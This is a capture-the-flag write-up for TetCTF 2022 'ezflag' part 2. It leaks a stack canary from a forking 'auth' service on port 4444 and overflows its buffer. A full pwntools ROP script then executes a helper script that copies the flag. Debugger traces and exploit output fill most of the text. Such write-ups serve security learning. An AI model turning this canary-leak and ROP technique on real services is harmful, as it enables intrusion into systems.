Full detailed writeup including part 1 can be found at: https://nandynarwhals.org/tetctf-2022-ezflag/.
Note: Unfortunately, I didn't solve this during the few hours I played during the competition sincethe `auth` server was crashed by some other players early during the CTF. However, I think theexploit should work remotely barring the pwntools dependency.
Once on the server, we can exfiltrate the `auth` binary that's listening on port 4444 of the remoteserver.
To simulate the remote service, we can create a flag at `/flag2`.
```console# echo 'TetCTF{Fake_Flag_Because_Service_Is_Down}' > /flag2```
When running and interacting with the service, we notice that something odd is going on with theoutput. It looks like it's leaking `0x100` bytes of memory along with the `'Y` or `'N'` return code.
```console$ printf 'admin\nadmin\n' | nc localhost 4444 | xxd00000000: 5964 6d69 6e0a 6164 6d69 6e0a ff80 5b9a  Ydmin.admin...[.00000010: a011 b945 fc7f 0000 2497 0000 0000 0000  ...E....$.......00000020: 0300 0000 0000 0000 a011 b945 fc7f 0000  ...........E....00000030: 8c11 b945 fc7f 0000 8860 4900 0000 0000  ...E.....`I.....00000040: b400 0000 0000 0000 88c6 4400 0000 0000  ..........D.....00000050: 2000 0000 3000 0000 8011 b945 fc7f 0000   ...0......E....00000060: c010 b945 fc7f 0000 0031 2918 ff80 5b9a  ...E.....1)...[.00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................00000080: 4898 3202 0000 0000 2497 0000 0000 0000  H.2.....$.......00000090: 249c 4900 0000 0000 f00f b945 fc7f 0000  $.I........E....000000a0: 802b 4c00 0000 0000 0a00 0000 0000 0000  .+L.............000000b0: 2013 4c00 0000 0000 7260 4900 0000 0000   .L.....r`I.....000000c0: 402f 4c00 0000 0000 1810 4c00 0000 0000  @/L.......L.....000000d0: 0000 0000 0000 0000 036d 4100 0000 0000  .........mA.....000000e0: 1000 0000 0000 0000 2013 4c00 0000 0000  ........ .L.....000000f0: 2497 0000 0000 0000 0000 0000 0000 0000  $...............```
If we send a large amount of data, we get a stack smashing detected message so it appears that wecan trigger a buffer overflow. Next, we need to determine if we can use the info leak to leak thestack canary.
```console$ printf 'admin\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' | nc localhost 4444 | xxd...Connection accepted from 127.0.0.1:38694*** stack smashing detected ***: terminated```
If we try to send the smallest input possible that triggers the memory leak, we can see that thereis a canary-looking value at offset `0x8` and `0x68` (`0x9a5b80ff18293100`). This value should notchange between requests since the server forks and retains the parent's memory layout and contents.
```console$ printf '\n\n' | nc localhost 4444 | xxd -g 8 -e00000000: 3630373833000a4e 9a5b80ff18293100  N..38706.1)...[.00000010: 00007ffc45b911a0 0000000000009732  ...E....2.......00000020: 0000000000000003 00007ffc45b911a0  ...........E....00000030: 00007ffc45b9118c 0000000000496088  ...E.....`I.....00000040: 00000000000000bb 000000000044c688  ..........D.....00000050: 0000003000000020 00007ffc45b91180   ...0......E....00000060: 00007ffc45b910c0 9a5b80ff18293100  ...E.....1)...[.00000070: 0000000000000000 0000000000000000  ................00000080: 0000000002329848 0000000000009732  H.2.....2.......00000090: 0000000000499c24 00007ffc45b90ff0  $.I........E....000000a0: 00000000004c2b80 000000000000000a  .+L.............000000b0: 00000000004c1320 0000000000496072   .L.....r`I.....000000c0: 00000000004c2f40 00000000004c1018  @/L.......L.....000000d0: 0000000000000000 0000000000416d03  .........mA.....000000e0: 0000000000000010 00000000004c1320  ........ .L.....000000f0: 0000000000009732 0000000000000000  2...............```
If we do a quick check in the debugger, we can confirm that the value is indeed the stack canary.
```consoleThread 2.1 "auth" hit Breakpoint 1, 0x0000000000401f85 in ?? ()[ Legend: Modified register | Code | Heap | Stack | String ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────...$rsi   : 0x9a5b80ff18293100...$eflags: [carry PARITY adjust ZERO sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffc45b91010│+0x0000: 0x0000000000000001	 ← $rsp0x00007ffc45b91018│+0x0008: 0x000003e8000021900x00007ffc45b91020│+0x0010: 0x0000000000000000	 ← $rdx0x00007ffc45b91028│+0x0018: 0x00000000000088010x00007ffc45b91030│+0x0020: 0x00000000000000000x00007ffc45b91038│+0x0028: 0x9a5b80ff182931000x00007ffc45b91040│+0x0030: 0x00000000000000000x00007ffc45b91048│+0x0038: 0x000000000040200d  →   mov edx, 0x100───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x401f7c                  je     0x401f98     0x401f7e                  xor    eax, eax     0x401f80                  mov    rsi, QWORD PTR [rsp+0x28]●→   0x401f85                  xor    rsi, QWORD PTR fs:0x28     0x401f8e                  jne    0x401fc0     0x401f90                  add    rsp, 0x38     0x401f94                  ret     0x401f95                  nop    DWORD PTR [rax]     0x401f98                  cmp    WORD PTR [rsp+0xb], 0x6e───────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "auth", stopped 0x401f85 in ?? (), reason: BREAKPOINT─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x401f85 → xor rsi, QWORD PTR fs:0x28[#1] 0x40200d → mov edx, 0x100[#2] 0x4018ab → mov edi, ebp[#3] 0x402860 → mov edi, eax[#4] 0x401dde → hlt──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤```
Next, we need to find the offset of the canary. First, we send a de Brujin sequence and wait for thesame breakpoint as before to trigger.
```console$ printf '\naaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaa\n' | nc localhost 4444```
In the debugger, we can see that the stack canary is at offset 24.
```consolegef➤  info reg $rsirsi            0x6161616161616164	0x6161616161616164gef➤  pattern offset 0x6161616161616164[+] Searching for '0x6161616161616164'[+] Found at offset 24 (little-endian search) likely[+] Found at offset 17 (big-endian search)gef➤```
Repeating this step and fixing the canary also yields the saved return pointer at offset 40. Now, wecan craft the ROP payload. A useful configuration of the registers at the point of the controlledreturn is the contents of the `rdi` register. It appears to be pointing into the buffer of our usercontrolled data. We can abuse this in crafting a shorter ROP chain.
```consolegef➤0x0000000000401f94 in ?? ()[ Legend: Modified register | Code | Heap | Stack | String ]─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────$rax   : 0x0$rbx   : 0x9606$rcx   : 0x00007ffc45b9107e  →  0x7ffc45b9118c0a0a$rdx   : 0x00007ffc45b91048  →  0x0000000000402000  →   call 0x44c430$rsp   : 0x00007ffc45b91048  →  0x0000000000402000  →   call 0x44c430$rbp   : 0x29$rsi   : 0x0$rdi   : 0x00007ffc45b91055  →  "\nadminAAAAAAAAAAAAAAAAAAA"$rip   : 0x0000000000401f94  →   ret$r8    : 0x0$r9    : 0x0$r10   : 0x0$r11   : 0x246$r12   : 0x00007ffc45b91050  →  "admin\nadminAAAAAAAAAAAAAAAAAAA"$r13   : 0x00007ffc45b911a0  →  0x0100007f06960002$r14   : 0x00007ffc45b9118c  →  0x5c11000200000010$r15   : 0x0000000000496088  →  "Connection accepted from %s:%d\n"$eflags: [carry PARITY adjust zero sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0063 $gs: 0x0000─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────0x00007ffc45b91048│+0x0000: 0x0000000000402000  →   call 0x44c430	 ← $rdx, $rsp0x00007ffc45b91050│+0x0008: "admin\nadminAAAAAAAAAAAAAAAAAAA"	 ← $r120x00007ffc45b91058│+0x0010: "minAAAAAAAAAAAAAAAAAAA"0x00007ffc45b91060│+0x0018: "AAAAAAAAAAAAAA"0x00007ffc45b91068│+0x0020: 0x3100414141414141 ("AAAAAA"?)0x00007ffc45b91070│+0x0028: 0x42429a5b80ff18290x00007ffc45b91078│+0x0030: 0x0a0a4242424242420x00007ffc45b91080│+0x0038: 0x00007ffc45b9118c  →  0x5c11000200000010───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────●    0x401f85                  xor    rsi, QWORD PTR fs:0x28     0x401f8e                  jne    0x401fc0     0x401f90                  add    rsp, 0x38 →   0x401f94                  ret   ↳    0x402000                  call   0x44c430        0x402005                  mov    rdi, r12        0x402008                  call   0x401f10        0x40200d                  mov    edx, 0x100        0x402012                  mov    rsi, r12        0x402015                  mov    edi, ebp───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "auth", stopped 0x401f94 in ?? (), reason: SINGLE STEP─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x401f94 → ret[#1] 0x402000 → call 0x44c430[#2] 0x4018ab → mov edi, ebp[#3] 0x402860 → mov edi, eax[#4] 0x401dde → hlt──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────gef➤```
When crafting the exploit, we also have to fix up the stack a bit as it is slightly off alignment,hence we have to look for a stack move gadget. Once the stack is fixed up, we can craft an`syscall(execve, "our controlled buffer in rdi", 0, 0)` ROP chain to run a program. The obvious datato place in the controlled buffer is `/bin/sh` but an interactive shell is a little annoying to dealwith since we don't have control over `stdin` and `stdout` yet over the network connection. Since wehave shell access already on the remote system, we can just create a helper shell script to executeinstead that copies `/flag2` to a temporary location and changes it to be world-readable. We'll namethis file `/tmp/give`.
```console$ printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give```
Now, we can write the full exploit to trigger the `execve` of this shell script:
```python#!/usr/bin/env python
from pwn import *
context.clear()context.arch = 'amd64'# context.log_level = 'debug'
# Make a shell script executable.# printf '#!/bin/bash\ncp /flag2 /tmp/flag2;chmod 777 /tmp/flag2' > /tmp/give; chmod +x /tmp/give
def main():    # Generate the ROP chains.    # First, generate the chain to fix up the stack.    rop = ROP('./auth', badchars=b'\n')    rop.raw(rop.search(move=68).address) log.info("Constructed ROP payload to fix stack: \n{}".format(rop.dump()))    stack_rop_payload = flat(rop.build()) log.info("Length of ROP fix stack payload: {}".format(hex(len(stack_rop_payload))))
    # Next, generate the ROP chain to call execve.    # RDI contains the address of a couple bytes into the buffer, which is perfect.    # We want to execute syscall(execve, n_bytes_into_buffer, 0, 0)    rop = ROP('./auth', badchars=b'\n')    rop(rax=constants.SYS_execve, rsi=0, rdx=0)    rop.raw(rop.syscall.address)    # Finally, we can JMP RSP to our shellcode.    #rop.raw(rop.jmp_rsp.address) log.info("Constructed ROP payload: \n{}".format(rop.dump()))    rop_payload = flat(rop.build())    # from IPython import embed; embed() log.info("Length of ROP payload: {}".format(hex(len(rop_payload))))
    # Leak the canary with a short write to expose the canary at buffer + 8.    p = remote('localhost', 4444)    canary_payload = b'\n\n'    p.send(canary_payload)    p.recv(8)    canary = u64(p.recv(8)) log.info('Canary: {}'.format(hex(canary)))    p.close()
    # Trigger the overflow.    p = remote('localhost', 4444)    # Fix the canary.    payload = b'\n' + b'A'* 24 + p64(canary) + b'B'*8    # ROP Chain.    payload += stack_rop_payload    # This is the start of the n bytes into the buffer we referenced above.    # We specify /tmp/give as the program to execute since it's simpler than attempting to mess with    # the fd to get an interactive shell. We already have a reverse shell through ezflag1.    # Also, small padding to account for the non-aligned stack we are working with.    payload += b'/tmp/give\x00'.ljust(0x48, b'C')    payload += rop_payload    # Add the shellcode    payload = payload.ljust(0x100 - 1, b'\x90')    payload += b'\n' log.info('Length of payload: {}'.format(hex(len(payload))))    p.send(payload)
    log.success('Exploit complete. Please check /tmp/flag2.')
if __name__ == '__main__':    main()```
We can run the exploit and grab the world-readable flag.
```console$ ls -la /tmp/flag2ls: cannot access '/tmp/flag2': No such file or directory$ python exploit.py[*] '/vagrant/tetctf/ezflag1/auth'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] Loaded 120 cached gadgets for './auth'[*] Constructed ROP payload to fix stack:    0x0000:         0x413883 add rsp, 0x38; pop rbx; pop rbp; ret[*] Length of ROP fix stack payload: 0x8[*] Constructed ROP payload:    0x0000:         0x4497a7 pop rax; ret    0x0008:             0x3b SYS_execve    0x0010:         0x40f67e pop rsi; ret    0x0018:              0x0    0x0020:         0x40176f pop rdx; ret    0x0028:              0x0    0x0030:         0x4012d3 syscall[*] Length of ROP payload: 0x38[+] Opening connection to localhost on port 4444: Done[*] Canary: 0x9a5b80ff18293100[*] Closed connection to localhost port 4444[+] Opening connection to localhost on port 4444: Done[*] Length of payload: 0x100[+] Exploit complete. Please check /tmp/flag2.[*] Closed connection to localhost port 4444$ cat /tmp/flag2TetCTF{Fake_Flag_Because_Service_Is_Down}```
**Flag:** `Sadly, didn't solve it during the competition.`